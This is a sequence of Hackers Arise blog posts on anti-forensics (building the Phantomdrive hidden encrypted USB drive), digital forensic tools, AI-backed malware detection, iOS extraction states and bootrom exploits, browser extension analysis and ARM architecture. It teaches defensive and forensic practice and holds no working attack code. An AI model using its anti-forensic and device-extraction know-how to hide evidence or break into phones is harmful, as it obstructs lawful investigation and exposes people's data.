Welcome back, aspiring cyberwarriors!

You may know that privacy laws aren’t respected everywhere. In some places you can be forced to decrypt your files, or worse, get accused of a violation just for having encryption. A VeraCrypt hidden volume helps with the first problem but not the second. That’s why the project developer built Phantomdrive.

Phantomdrive is a fully open source USB drive that shows up as an 8GB disk when you plug it in. The OS has no way to detect the rest of the storage. To unlock the hidden partition, you open a text file on the visible part of the drive, type password: YOURPASSWORDHERE and save it. The drive disconnects, remounts the hidden partition, and AES-256 handles the encryption and decryption on the fly.

Design

The hardware, firmware, and mechanical design are all open source. The developer built it around a small chip called the CH569, from the same company behind the CH340 USB-to-Serial chip you’ll find on most Arduino clones. It has USB3, SD/eMMC support, and a hardware AES block built in.

eMMC was too expensive due to AI-driven demand, so the developer went with an SD card instead. If someone tears the device apart they’ll find it, but everything on it is encrypted. The enclosure is sealed with epoxy, so any attempt to get inside means destroying it first. Once eMMC prices drop, a version using it will follow.

The board itself is simple. It’s a CH569 chip, a USB port, two buck converters, a firmware update button, an SD card, and some supporting components.

Cryptography

The developer verified encryption works through functional tests and ran it against OpenSSL’s AES implementation. Most of the GitHub issues that surfaced were AI-generated noise or already fixed bugs, with one real exception around AES-XTS covered below.

Key Derivation

A Key Derivation Function (KDF) turns your password into an encryption key. The naive approach is padding the password to 32 bytes and using it directly.

That’s weak. A precomputed table could crack it without even brute forcing. To fix that, Phantomdrive adds a unique salt per device.

With different salts, an attacker has to compute keys for each device separately, and you can’t swap the SD card between devices. You can read your salt like this:

udevadm info --query=property --name=/dev/sdc | grep ID_SERIAL_SHORT
ID_SERIAL_SHORT=Phantomdrive:34FC1FA7145467F7

So, 34FC1FA7145467F7 is the salt for this device, which you will need to recover the data if it ever fails. Save that value. You can also change the Phantomdrive name and the USB PID/VID in firmware if you want more stealth. On top of the salt, the KDF runs 100,000 rounds of SHA-256.

That adds about 3 seconds to unlock time, which is already at the limit of what the chip can handle. Argon2 isn’t an option since it needs too much memory. If you need stronger security, you can increase the round count, use a software encryption layer on top, or look for a different device.

AES Modes

AES is a block cipher that works on 16-byte chunks. Different modes turn it into a stream cipher.

AES-ECB is the naive approach, encrypting each block directly. The problem is that identical plaintext blocks produce identical ciphertext blocks, which leaks patterns. Attackers can also manipulate the ciphertext in predictable ways. Not good.

AES-CTR solves this by encrypting a counter and XORing the output with plaintext.

uint64_t i = 0;
while(i < len(ciphertext)) {
    ctr = aes_encrypt(i);
    ciphertext[i] = plaintext[i] ^ ctr
    i++;
}

The main risk with CTR is nonce reuse. If an attacker copies your ciphertext twice and can guess one version, they can recover the other. The developer gets around 9 MB/s write and 20 MB/s read with AES-CTR.

AES-XTS is the disk encryption standard and uses two keys. K1 protects the data, K2 generates a tweak per sector. 

Each 16-byte block gets its own adjustment (T0, T1… Tn), then blocks are encrypted one by one to produce the final ciphertext. 

It’s more secure but slower, around 6 MB/s write and 10 MB/s read on this hardware.

Firmware

The firmware is built on two open source libraries:

BSP: https://github.com/hydrausb3/wch-ch56x-lib

ISP: https://github.com/hydrausb3/wch-ch56x-isp

Password Snooping

The device doesn’t understand file systems. It just handles raw USB WRITE10/READ10 commands and passes them to the SD card. To detect the unlock password, the firmware scans every write for the string password: before passing data through.

void phantomdrive_snoop_write(uint8_t *buf, uint32_t len)
{
    const char *prefix = "password:";
    const size_t prefix_len = 9;
    uint32_t i;

    for (i = 0; i + prefix_len <= len; i++) {
        if (buf[i] != 'p')
            continue;
        if (memcmp(buf + i, prefix, prefix_len) != 0)
            continue;

        size_t pw_start = i + prefix_len;
        size_t pw_end = pw_start;
        while (pw_end < len && (pw_end - pw_start) < sizeof(pending_pw) &&
               buf[pw_end] != '\n' && buf[pw_end] != '\r' && buf[pw_end] != '\0')
            pw_end++;

        size_t pw_len = pw_end - pw_start;

        memcpy(pending_pw, buf + pw_start, pw_len);
        pending_pw_len = pw_len;

        memset(buf + i, 0, pw_end - i);
        return;
    }
}

Once the password is found, it gets copied into RAM and the buffer gets zeroed out so the password never touches the disk. Keep in mind, if you store a lot of data on the unencrypted partition and any of it contains the string password:, you could get a false match. If that’s a concern, you can change the trigger string in firmware or look for a different approach.

Video

The developer has also published a video, if you want to get into details of this project. 

Summary

Phantomdrive is an open source USB drive that shows up as a plain 8GB disk while hiding the rest of its storage. You unlock the hidden partition by saving a password in a text file on the visible disk. The firmware catches it in the raw write traffic, keeps it in RAM, and never writes it to disk. Encryption is AES-256 on a CH569 chip, with a per-device salt and 100,000 SHA-256 rounds for key derivation. It’s limited by the hardware, so it’s weaker than memory-hard options like Argon2.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Building a Phantomdrive first appeared on Hackers Arise.

Welcome back, dear investigators!

Our main concern in cybersecurity is protecting systems and recovering from cyberattacks quickly. There are different tools out there built for this, and they keep evolving. Our job is to find what fits best in our environment and stick to the best practices laid out by NIST and ISO.

Today we’ll look at Live-Forensicator, a live response toolkit. The tool supports AI integration to process your findings more efficiently, which is a good thing since many of you know how tedious forensic analysis work can be. It’s optional though, and you can always rely on your own knowledge to verify findings.

Setting Up

Let’s download the archive with scripts and see what’s inside. You can find it here.

Live-Forensicator works on Windows, Linux, and macOS. We’ll be testing it on Windows here. Keep in mind, the tool gets flagged by AV because WinPmem, admin PS, and hash walks look suspicious. Use it only if you think it’s appropriate for your environment, or fall back to other tools since we’ve covered many of them on our website.

PS > powershell -ep bypass Forensicator.ps1 -USAGE

Running Scans

Let’s start with some general scans.

You can launch it without any flags and the tool will ask for details after you start it.

PS > .\Forensicator.ps1 

Or give it some case details upfront. They include the operator name, case ID, location and the device name.

PS > .\Forensicator.ps1 -OPERATOR "Jane Doe" -CASE "IR-2026-001" -TITLE "Workstation triage" -LOCATION "Toronto" -DEVICE "LAPTOP-042"

It’ll take some time to go through all the steps. You’ll see the progress on screen.

When the script finishes, the results get saved in the current folder inside a new directory. Go to reports and open index.html.

Here’s the overview page. You can scroll down and jump to different sections of the report.

Below is the Event Log summary with events sorted by category. We see that accounts successfully logged on (Event ID 4624), then someone looked up what groups certain users belong to (Event ID 4798) and the members of security groups were listed (Event ID 4799). Event ID 4688 logs process creation.

You also get a summary to assess the risks quickly. In our case it was high and the tool explained why.

Forensicator AI

AI is off by default. When it’s enabled, you get a plain language explanation of the results. For AI to work, you need Ollama running. The model can run locally or sit on a separate host accessible to other machines. Mistral AI models can be used for this work.

# Install Ollama (https://ollama.com) and pull a model
PS > ollama pull mistral:7b-instruct

Then edit the config.json file.

"ai": {
  "enabled": true,
  "provider": "ollama",
  "base_url": "http://localhost:11434",
  "model": "mistral:7b-instruct"
}

There’s no -AI flag. The script reads config.json at startup. When AI is on, each finding gets sent to the model after it’s built. If the model is down, the collection still finishes and that row just has no verdict. In the report, open a finding and use the tooltip labeled AI Analysis. Windows also builds an Investigation Summary with a risk score, a rough timeline, and next steps. This is just a briefing, so don’t treat it as the final verdict. Also, keep in mind that AI makes the run a lot slower since every finding is a real model call.

Here are some screenshots of AI analysis.

Summary

During an incident response time is of the essence, so swiftly scanning your hosts for signs of compromise will save you time. There are different situations and cases that require certain approaches, that’s why knowing how to work with different forensics tools is important. Having AI process your analysis results can be helpful, but it might take some time, unless you have a good GPU for it.

If you’re just getting started in forensics, we recommend our Digital Forensics training, where Master OTW walks you through the techniques to find evidence of criminal activity on a computer or network.

The post Digital Forensics: Analyzing Systems with Live-Forensicator first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Some of you have already seen the headlines about malware calling out to AI APIs. Recently, Talos found a Windows implant called CLOSEDQUORUM that leaves its tactical command and control decisions to a panel of commercial LLMs while the operator sleeps. Malware like that doesn’t leave the traces we’re used to hunting. Now you find prompt templates, provider endpoints, API key prefixes, jailbreak wording and sometimes text written to talk an AI sandbox out of flagging the file. Talos calls these cognitive artifacts and developers who wire an LLM into their tooling leave some behind.

What is CAIRN

Cisco Talos built a free research tool called CAIRN. The name is a metaphor. A cairn is a pile of stones hikers leave on a trail so the next person can see where to go. CAIRN looks for the same kind of marker inside malware that talks to AI. It works from metadata, which means you never download the sample and you never run it. Keep in mind, it needs a VirusTotal API. It sorts what it finds into three tiers, from a simple AI string match, to behavior and families. It also clusters samples that look alike even when they don’t share an obvious string. 

CAIRN is a research tool and not a live threat feed. It shows us where hackers are heading. 

Let’s set it up and cover some basic commands. 

Setting Up

We start by copying the repository and installing the python libraries.

kali > git clone https://github.com/Cisco-Talos/Cognitive-Artifact-Intelligence-Research-Network.git

kali > cd Cognitive-Artifact-Intelligence-Research-Network

kali > python -m venv .venv
kali > source .venv/bin/activate          

kali > pip install -e ".[dev]"

The env file needs VirusTotal API.

kali > cp .env.example .env
kali > nano .env

Once it’s there, you can start with some basic commands.

Basic Commands

The first thing we do is open the YARA file that ships with CAIRN and check that it is readable and put together the way the tool expects. If it prints a rule count and says the pack is valid, the rulers are loaded. You run it after install or after you edit a rule, so you know the next hunt will not fail because the rule file is broken.

kali > cairn validate-rules

Next we print the list of saved VirusTotal searches that come with CAIRN. We will use these names in the following command. The command only reads a config file on disk.

kali > cairn filters

Each name on that list is a hunt idea you can use, like Python files that mention an LLM library, or files that mention a hosted API.

kali > cairn pull --filter python-ai-scripts --limit 10

Next, you can summarize the findings. It reads only your database and tells you how many files you got and what rules were in use. 

kali > cairn summarize

We can then open the map.

kali > cairn explore

Here is how the clusters look like. Samples are grouped into clusters even when they share no obvious string overlap. These are semantic discoveries that analyze the meaning. 

Malware That Uses AI

Let’s take a look at the new developments in malware that were published by Cisco Talos. Their team was analyzing CLOSEDQUORUM.

They say it’s the first publicly documented Windows implant to apply this model to tactical command and control (C2). After it’s deployed, it uses AI models to decide what to do next and then executes their collective decision to harvest user credentials and crypto wallets. It doesn’t need a human to be ruling over the process, as the AI does everything. 

Traditional C2 architecture needs the hackers to have server infrastructure. That infrastructure is attributable and blockable. Instead of this, CLOSEDQUORUM calls up to four commercial LLM provider endpoints used by thousands of legitimate applications daily.

Here is how it looks decompiled. 

You see the providers, models and prompts. 

Hackers also may give detailed technical prompt templates. Here TARGET: %s is substituted at runtime. 

The response is then deserialized into a Go struct. 

Structure of the returned model’s decision.

Summary

Malware that calls out to AI is already here. There’s no server to attribute or block, since the traffic goes to provider endpoints that legitimate apps hit all day. Now we also hunt for cognitive artifacts like prompt templates, provider endpoints, API key prefixes and jailbreak wording. CAIRN helps with that by working from VirusTotal metadata, so you never download or run the sample. It groups findings by AI strings, behavior and families and clusters similar samples by meaning. It shows us where hackers are heading, and they’re heading toward AI doing the thinking for them.

If you like Malware Analysis and want to improve your skills in this field, sign up for our Reverse Engineering Malware training.

The post Malware Analysis: Analyzing AI-Backed Malware with CAIRN first appeared on Hackers Arise.

Welcome back, aspiring investigators!

Today we’re going to cover the basics of iOS forensics and find out what makes these devices vulnerable. We will see what a phone actually holds in different states. Modern iPhones encrypt almost everything file by file, and the keys live inside a separate chip called the Secure Enclave, not the disk itself. So the question is  which keys are unlocked right now and how long you’ve got before that changes.

What’s On the Phone

Apple does not encrypt “the disk” as one volume key. Each file is assigned a class when it is created. The class decides when that file can be decrypted.

Class A files only decrypt while the phone is unlocked and lock again fast once the screen goes dark. Mail bodies live here. 

Class B can be written while locked but only read if it was already open. 

Class C is the one you care about most. It unlocks the first time the passcode is entered after a reboot and stays unlocked even after the screen locks again. App data, chats and photo libraries sit here. 

Class D never needs a passcode at all, wrapped with a device only key.

BFU and AFU

Before First Unlock (BFU) means the phone rebooted and nobody’s entered the passcode since. The Secure Enclave hasn’t released the keys yet, Face ID and Touch ID are dead and almost nothing decrypts. What you get from a BFU phone is triage at best. Device info, iOS version, maybe a thin slice of metadata.

After First Unlock (AFU) means the passcode has been entered at least once since the last reboot. Class C data is live and stays live even after the screen locks again. This is the state you want. Analysts usually say AFU gets you around 95% of what a full dump would give you, next to almost nothing under BFU.

The 72 Hour Clock

Since iOS 18.1, a phone that sits idle too long reboots itself. No setting turns this off. The window is around 72 hours. A Faraday bag isn’t a place to park evidence for a week anymore. Labs have already had properly isolated AFU phones reboot themselves back into BFU just from sitting in storage. 

How You Actually Pull Data

The simplest is a standard logical backup through iTunes or Finder. An unencrypted backup is a partial picture at best, since Keychain and Health data only come along encrypted. One step up is advanced logic, which adds access to the camera roll, books and other shared media a plain backup skips. 

Full file system extraction is usually done through a signed agent while the phone’s still AFU. This gets you app sandboxes, full SQLite databases with their WAL and SHM files and the behavioral stores a backup never touches. Agent support for new chips lags behind hardware releases and current A19 and M5 chips with Memory Integrity Enforcement are already a wall some agent chains can’t get past.

Older phones, iPhone X and earlier, can sometimes be opened with bootrom exploits like checkm8, which run below the OS entirely and can work even in BFU. That doesn’t apply to anything shipping today.

iCloud is its own separate source. It can hold things the phone doesn’t and end-to-end encrypted categories still need real credentials or lawful process.

Pairing, USB Locks & Lockdown Mode

A pairing record gets created the moment someone taps Trust This Computer. That record lives on the host machine, and it can let a lab computer talk to a locked AFU phone without another unlock. So every computer the owner used matters just as much as the phone itself.

USB Restricted Mode is separate and much simpler, it’s just a timeout. After roughly an hour locked, the port stops carrying data even though it keeps charging. An old pairing record won’t work once that timer’s up, so every locked phone has a short window.

Lockdown Mode is a different thing entirely. It’s a user enabled hardening feature aimed at spyware, and while it’s active, wired accessories need an unlocked phone. That’s the mechanism that reportedly stopped FBI investigators from extracting a seized reporter’s iPhone in early 2026, even though the phone was powered on and charging right in front of them. Turning Lockdown Mode on or off also reboots the phone, so flipping it yourself kills AFU instantly.

Jailbroken Phones

Some devices may be jailbroken. These are softer targets, but they can’t be trustworthy. Jailbreaking modifies the filesystem and tweaks change or hook app behavior. That can overwrite artifacts, add artifacts that aren’t from normal use and give opposing counsel a way to challenge integrity.

Cellebrite

Cellebrite’s old UFED, Premium and Physical Analyzer lineup is mostly folded into one suite now called Inseyets, though Premium and PA7 are both still running too. Their own docs use AFU and BFU just like everyone else, because the same rules apply. AFU with a supported device opens up fully. BFU on current phones mostly doesn’t, no matter which Cellebrite tool you’re running. Support trails Apple by weeks or months after every iOS release, and brute force support stays limited to specific older models on specific iOS ranges, not a blanket “any locked iPhone” claim.

For old hardware, iPhone 5s through X, they lean on the same checkm8 style bootrom exploit covered earlier.

Worth remembering too, in 2021 Signal’s founder found real bugs in the tool itself

What You Actually Dig Through

Chat apps like iMessage, WhatsApp, Signal and Telegram each keep their own SQLite database, and deleted rows often still sit in the freelist or the WAL file until the database gets cleaned up. Always grab the WAL and SHM files alongside the main database, not just the .db file by itself.

The real skill jump in this field is using behavioral stores. KnowledgeC and its newer replacement, Biome, track which app was in focus, unlock events, notifications, even web activity. That’s how you reconstruct what was actually on screen at a given moment. PowerLog backs that up by confirming the phone was genuinely powered on and connected at a given time.

Photos.sqlite covers hidden and recently deleted images along with iCloud sync state. As you can see, deletion on iOS basically means the key gets destroyed and the database gets cleaned up later, there’s no recycle bin sitting in unallocated space waiting for you to carve out. If someone claims they recovered deleted iMessages from raw flash on a modern iPhone, that claim needs real scrutiny.

Summary

Keep your iPhone protected by updating the firmware and upgrading the device itself regularly. Old devices are prone to certain attacks, and as years go by more vulnerabilities get discovered. Analysts are already using these vulnerabilities to bypass protection and extract data from older iPhones. Keeping backups off iCloud adds an extra layer of protection. Don’t connect your iOS device to your computer and don’t accept anything that pops up on the screen afterward. iOS 18 adds some protection by bringing the phone from AFU back to BFU after 72 hours. These recommendations can help if your life is threatened by people who don’t respect the law. If you’re a forensic investigator, use this knowledge to bring justice to the case. Stay safe out there!

The post Digital Forensics: iOS Forensics – Basics  first appeared on Hackers Arise.

Welcome back, aspiring investigators!

When you do forensic investigations, you often find that systems are not really monitored. The great problem here is that it’s beyond the scope of a sysadmin. They already have a lot of work to do, so it’s hard to blame them. Companies don’t spend much money on cybersecurity despite the rise of ransomware campaigns in recent years. AI is going to make these attacks a lot more feasible, and we are already seeing it. They simply don’t realize the threat exists out there, until they have to face it.

Here is one of the posts that I came across recently that proves the point. These cheap Chinese models cost literally cents per 1 million tokens. So it’s fairly possible that someone can hack a company for $20 and for another $10 do internal recon, thoroughly analyze all file shares, infect hosts with malware, and you can guess what comes next. The demands for a decryption key vary, of course. They usually range somewhere between $20,000 and $100,000. The bigger the company is, the bigger the demand will be. The bigger the company is, the more infrastructure it has sticking out to the internet that hackers can work with. The size of the company doesn’t necessarily mean it’s secure. Their security can also be trivial.

But we do have to work with such companies, and I’m sure some of you have come across this issue. In such a case, we have to work with whatever the system has left behind. To make things easier, we want to cover Plaso.

Plaso

Plaso is a Python-based engine used by several tools for automatic creation of timelines. Plaso’s default behavior is to create super timelines, but it also supports creating more targeted timelines if you are focused on a certain time frame.

These timelines help investigators correlate the large amount of information found in logs and other files on an average computer.

The whole point of this tool is that you can get a report on everything that happened on your system from different kinds of files. It allows you to do a very thorough analysis and gives you a better view of every event that took place. That’s super helpful if your client doesn’t have SIEM systems or at least some advanced logging like Sysmon, for example.

It does support different systems as well, so it’s pretty universal, from phones to computers. The example data that ships with it can help you get used to the tool.

Setting Up

As always, let’s follow the easiest way to install it on your system.

kali > python3 -m venv plaso
kali > source plaso/bin/activate
kali > pip install --upgrade pip
kali > pip install plaso

That will be it. In case you are wondering if it fits your purpose, you can list all the parsers available.

kali > plaso-log2timeline --parsers list

Besides, we have a huge library of logs to test the tool with.

kali > git clone https://github.com/log2timeline/plaso.git
kali > cd plaso/test_data/
kali > ls

So let’s not waste more time and get into it.

Working with Plaso

We are going to look at a couple of examples analyzing different log files, and at the end we are going to create the full timeline of our system. We used the EnCase E01 file format to make it more compact.

NTUSER.DAT

The first example covers one of the most meaningful files in both offensive and defensive cybersecurity. The NTUSER.DAT file is useful for both of us simply because it stores all user actions, from USBs to opened folders and much more. Earlier, we covered the use of it for investigations, but that was more about cherry picking. We pointed at the exact locations to look at to find insider threats or to analyze other users’ actions during the pentest. That’s super helpful if you are dealing with a sysadmin’s computer and only have terminal access.

Let’s build a complete timeline of it.

kali > plaso-log2timeline --storage-file ntuser_timeline.plaso ~/plaso/test_data/NTUSER.DAT

This command points log2timeline straight at the NTUSER.DAT hive and tells it to write everything it finds into ntuser_timeline.plaso. That storage file is not something you can just open and read, it’s the raw extracted events that you will need to sort and export into something readable in the next step.

After that, we can view the number of events in this hive.

kali > plaso-pinfo ntuser_timeline.plaso

Finally, let’s take a look at them all.

kali > plaso-psort -o dynamic -w ntuser_timeline.csv ntuser_timeline.plaso

kali > open ntuser_timeline.csv

You’ll get a taste of it once we analyze the entire system like that. That way, nothing can escape your view.

Windows Event Log

Another good example is the Event Log. Let’s analyze the System.evtx file and see what’s inside.

kali > plaso-log2timeline --storage-file evtx_timeline.plaso test_data/System.evtx

kali > plaso-psort -o dynamic -w evtx_timeline.csv evtx_timeline.plaso

kali > open evtx_timeline.csv

When you are dealing with a large number of logs, it’s better to slice them.

kali > plaso-psort -o dynamic -w evtx_narrow.csv evtx_timeline.plaso "date > '2026-02-01 00:00:00' AND date < '2026-03-01 00:00:00'"

Syslog

Linux log files are also supported and present in the test data for you to work with.

kali > plaso-log2timeline --storage-file syslog_timeline.plaso test_data/syslog

kali > plaso-psort -o dynamic -w syslog_timeline.csv syslog_timeline.plaso

kali > open syslog_timeline.csv

Here is what the syslog file looks like after being parsed. As you can see, all the login attempts and cron job entries are there.

Full System

Finally, after pointing the tool to the EnCase files, it will produce a thorough analysis of all the log files available on your system. Below is a complete timeline of the webserver.

kali > plaso-log2timeline --storage-file super_timeline.plaso /mnt/Images/Webserver.E01

kali > plaso-psort -o dynamic -w super_timeline.csv super_timeline.plaso

kali > open super_timeline.csv

Summary

The more tools you are familiar with, the easier the investigation will be. At work, we tend to automate things to save time, but it can also create more confusion when we don’t see the full picture and end up wasting more time puzzling over things that don’t fit together. The tool is worth giving a try, and it does support all kinds of file formats as input, so you can use Plaso yourself or with your AI model.

If you like what we’re doing here and want to get started in forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Deep Analysis with Plaso first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

These days, most of our online activity happens in web browsers. They’re our main way to access the internet, but they can also make it easy for malware to slip into our systems. While there are known vulnerabilities in browsers, the real trouble often comes from malicious browser extensions.

So, in this article, we’ll take a look at a tool called ExtAnalysis that acts as a first line of defense against sketchy plugins. It helps you do some forensic research and static code analysis quickly and visually. Let’s get rolling!

Getting Started with ExtAnalysis

ExtAnalysis is an open-source security framework designed to scan, analyze, and extract threat intelligence from Chrome, Firefox, Edge, and Brave extensions. It runs locally as a web application powered by a Flask backend.

To install it, we need to clone the repository from GitHub and run the main Python script:

kali> git clone https://github.com/Tuhinshubhra/ExtAnalysis
kali> cd ExtAnalysis
kali> pip3 install -r requirements.txt --break-system-packages
kali> python3 extanalysis.py

By default, ExtAnalysis binds to 127.0.0.1 on port 13337 and automatically opens a browser window to http://127.0.0.1:13337.

ExtAnalysis supports different formats. First of all, we can just provide a link to the plugin published on the Chrome Web Store or Firefox Add-ons. Secondly, it supports local extension scanning. And lastly, we can manually upload unpacked or packed extension archives in .crx, .xpi, .zip, and .tar formats. For this demonstration, I’ll just provide a link to a random crypto wallet published in the Chrome Web Store.

After entering the URL, ExtAnalysis will start analysis. Depending on the size of the plugin, it can take time. Eventually, you will see the report as below.

On the basic info tab, we can see data like name, author, version, extracted URLs, etc. Also, this tab has a built-in viewer for reviewing manifest.json configuration blueprints.

By changing the tab to Files, we can explore an interactive network graph. It constructs an interactive network graph mapping all extension source files, internal scripts, outbound external URLs, and domain relationships.

As you can see at the bottom of the screenshot, ExtAnalysis also allows viewing the source code of the files. It features an embedded tool to de-minify and restructure obfuscated or dense JavaScript and CSS files for manual code audits.

Next, we have the permission risk assessment tab.

ExtAnalysis parses requested permissions and categorizes them into risk levels (High, Medium, etc) to highlight capability escalation.

After that, we have the URL Reconnaissance Suite tab.

This tab provides extracted domains, URLs, and external JS files. For full functionality, navigate to the settings menu inside the web interface and enter your VirusTotal API key to enable automated hash and domain scans.

And last but not least is the tab with extracted intelligence.

ExtAnalysis automatically scans all extension files to parse and extract hardcoded threat indicators, including IPv4 and IPv6 addresses, domains, full URLs, Bitcoin wallet addresses, and email addresses. It also detects Base64-encoded strings and raw file comments.

Workflow for Analyzing an Extension

Start by submitting the target extension for analysis. Next, review its manifest file and requested permissions to identify any overreach or suspicious capabilities. Then, inspect the interactive visual graph to map external domains, C2 infrastructure, and suspicious third‑party endpoints. After that, extract intelligence and IOCs by checking the dedicated tabs for hardcoded IP addresses, Base64 strings, Bitcoin wallet addresses, and other indicators of compromise. Finally, perform a code audit by opening JavaScript files in the built‑in viewer, applying the code beautifier, and inspecting background scripts for keyloggers, credential‑harvesting triggers, or other malicious logic.

Important Limitations to Keep in Mind

ExtAnalysis performs static analysis only, scanning extension source files without capturing runtime execution or behavior triggered dynamically. Heavily obfuscated JavaScript or sandbox‑evasion scripts can obscure its automated analysis, reducing visibility into malicious logic. For this reason, security researchers typically use ExtAnalysis as a fast first‑step reconnaissance tool to map structure and permissions before proceeding to dynamic analysis.

Summary

Web browser plugins make our lives easier, but if plugin developers have malicious intent, they can introduce significant security risks. In this article, we explored static analysis of extensions using the ExtAnalysis tool. Always pay attention to what you install, and stay secure.

The post Browser Forensics: Analyzing Suspicious Extensions with ExtAnalysis first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

The modern digital ecosystem has undergone a silent but total transformation. Every day, we interact with ARM-based processors billions of times. These chips drive almost all iOS and Android devices and are key to the significant performance improvements seen in Apple’s M-series Macs. Some lightweight notebooks, such as Chromebooks, use ARM processors. IoT devices are largely powered by ARM. Besides that, recently ARM expanded into silicon production with the Arm AGI CPU, its first production-ready silicon designed for agentic AI workloads in data centers. With this level of ubiquity in our digital world, it’s important to be familiar with ARM.

Therefore, this article serves as a foundation for learning about ARM. It delves into the architecture of ARM CPUs, covering design principles and energy efficiency. Let’s get rolling!

What is ARM?

ARM is a family of CPU designs based on a simple, efficient instruction set (RISC). It started as ‘Acorn RISC Machine’, then ‘Advanced RISC Machines’, and now it’s just called ARM.

Unlike traditional chipmakers, Arm Holdings does not manufacture physical processors. Instead, the company designs the foundational CPU architecture and licenses its intellectual property and processor cores to other hardware manufacturers (such as Apple and Nvidia).

What is an ARM-Based CPU?

ARM CPUs use a simple, efficient RISC instruction set. RISC stands for Reduced Instruction Set Computer. It represents a hardware design philosophy focused on streamlining how a processor interprets and executes software instructions.

This design philosophy stands in direct contrast to CISC (Complex Instruction Set Computer), which is the architecture utilized by traditional Intel and AMD x86 processors.

The RISC concept originated in the early 1980s, heavily influenced by research at the University of California, Berkeley. Researchers evaluating resource usage discovered that most software programs only utilized a small fraction of a processor’s complex, built-in instruction set. They realized that if they removed the highly complex, rarely used, and difficult-to-implement instructions, the remaining simpler instructions could execute much faster, while requiring significantly less physical space and power on the silicon chip. This discovery led directly to the development of early RISC designs, including the foundational Acorn RISC Machine (ARM) project in 1983.

Core Principles of RISC Design

RISC architectures use a fixed instruction width for high-speed execution. Unlike CISC architectures that have instructions of varying lengths, a modern 64-bit RISC architecture like ARM64 uses a uniform instruction size, typically 32 bits. This consistency makes it easier for the processor to identify where one instruction ends and the next starts, which helps in quickly fetching, decoding, and executing instructions.

A key feature of RISC design is its Load-Store architecture. In traditional CISC, a single instruction might perform operations directly on data in memory. In RISC, memory access and calculations are separate. In a RISC CPU, Arithmetic Logic Unit (ALU) operations only happen between registers, which are small, fast storage spaces on the processor. To work with data from memory, the processor has to first load it from RAM into a register, perform the calculation in the register, and then store the result back to memory.

To meet the needs of this Load-Store model, RISC processors have a large, uniform register file. Since data cannot be processed directly in memory, the CPU needs many registers to keep temporary data readily available. A 64-bit RISC processor usually has 31 general-purpose 64-bit registers that act as a quick local workspace.

The clear and register-focused design leads to mostly single-cycle execution and effective hardware pipelining. Because RISC instructions are straightforward and mainly work with registers, most can finish in one clock cycle. This single-cycle capability enables the processor to use an instruction pipeline. In this system, while one instruction is executed, another is decoded, and a third is fetched from memory simultaneously. This overlap helps the processor complete a new instruction nearly every clock tick, maximizing efficiency.

Feature / Approach	CISC (e.g., x86)	RISC (e.g., ARM)
Instruction complexity	Single instructions perform multiple tasks (data manipulation, memory access, arithmetic)	Breaks tasks into multiple simpler instructions
Execution example	One instruction: load → compute → store	Three separate instructions: load → compute → store
Decoding logic	Intricate and complex	Simpler, more uniform
Clock cycles per instruction	Often multiple cycles	Usually one cycle per simple instruction
Hardware requirements	Substantial hardware for decoding and execution management	Less hardware for decoding, more uniform control logic
Power & design impact	Higher power consumption and design complexity	Lower power consumption, simpler design
Optimization	Harder to optimize individual operations	Easier to optimize each step independently
Parallel execution	More difficult	Easier to achieve

Energy Efficiency

Firstly, at the core of the RISC philosophy is the use of a smaller vocabulary of simpler, fixed-length instructions. Because the CPU does not have to parse highly complex, variable-length instructions, the physical hardware required to decode and execute instructions is dramatically simplified. This simplicity results in a vastly reduced transistor count. For example, early ARM cores required only 30,000 to 35,000 transistors. Fewer transistors mean that fewer components are active during each instruction cycle, which directly lowers dynamic power consumption and dynamic leakage.

Secondly, RISC processors are designed to scale their power draw dynamically based on the active workload. Through techniques like Dynamic Voltage and Frequency Scaling (DVFS), the processor automatically lowers its operating voltage and clock speed during periods of low computational demand, conserving energy when peak performance is unnecessary. For example, microcontroller-class processors like the ARM Cortex-M series are engineered to draw almost zero power when in deep sleep states, yet they can wake up and execute tasks rapidly on demand.

Thirdly, on a system-on-chip level, modern RISC implementations leverage heterogeneous processing, such as Arm big.LITTLE and DynamIQ technologies. Instead of running all tasks on identical, power-hungry cores, the processor combines:

LITTLE cores: Tiny, ultra-efficient cores optimized to handle routine, low-intensity background tasks (like texting, email, or playing music) using minimal power.

big cores: High-performance cores designed to tackle heavy, sustained workloads (like mobile gaming or intense web browsing).

This dynamic, on-demand task allocation ensures that the high-power “big” cores are only activated when strictly necessary, maximizing overall battery life.

Apple M-series Chips

The Apple M-series chips are a group of processors made by Apple Inc. They are designed for efficient performance and are based on ARM architecture. Each chip includes a CPU, GPU, a Neural Engine for machine learning, and a unified memory system that helps improve overall efficiency.

Apple announced its move to its own M-series chips at the Worldwide Developers Conference (WWDC) on June 22, 2020. This change was from Intel’s x86 processors to ARM-based designs for better power efficiency and performance.

For example, the M1 chip offers up to 3.5 times faster CPU performance while consuming less power than Intel chips for certain tasks. This allows for high performance without generating too much heat.

The M-series chips also improve battery life. Devices often run up to 1.5 times longer than Intel-based Macs. This is due to their optimized power management. In real-world use, like watching videos or doing light work, the MacBook Air can last 15 to 18 hours, compared to the 11 to 12 hours typical of similar Intel models.

By 2026, devices like the Mac Studio and Mac Mini are using M-series CPUs to run advanced AI models directly on users’ desks. Many people are shifting away from paying for AI services and choosing local systems instead.

Summary

In this article, we discussed ARM, a CPU architecture based on RISC principles, which emphasizes simplicity and efficiency. We explained how ARM differs from x86/CISC (Intel/AMD), noting that its smaller instruction set uses fewer transistors and less power. Additionally, we looked at how ARM has impacted Apple’s M-series chips, showing gains in performance, heat management, and battery life, along with the shift toward handling AI tasks on ARM hardware.

The post ARM CPU Architecture: The Power of Simplicity and Efficiency first appeared on Hackers Arise.

Welcome back, investigators!

Sometimes our work requires repairing corrupted disks before we can do a forensic analysis. Hackers use different techniques to cover their tracks, and often they just corrupt the boot sector. In Mr.Robot we saw them physically damaging drives or exposing hardware to high heat.

Physical damage is less common though. Hackers more often wipe partitions, corrupt the Master Boot Record or find other ways to tamper with the file system to confuse investigators. When the MBR gets rewritten, the system won’t boot again. We showed that in PowerShell for Hackers: Mayhem Edition.

You might assume that data becomes irrecoverable. But that’s not always true. 

Today we will repair a drive and recover deleted files from it.

Fixing the Drive

Corrupting the disk boot sector is easy. You alter the data the system expects to find there, so the OS can’t load the disk in the normal way. 

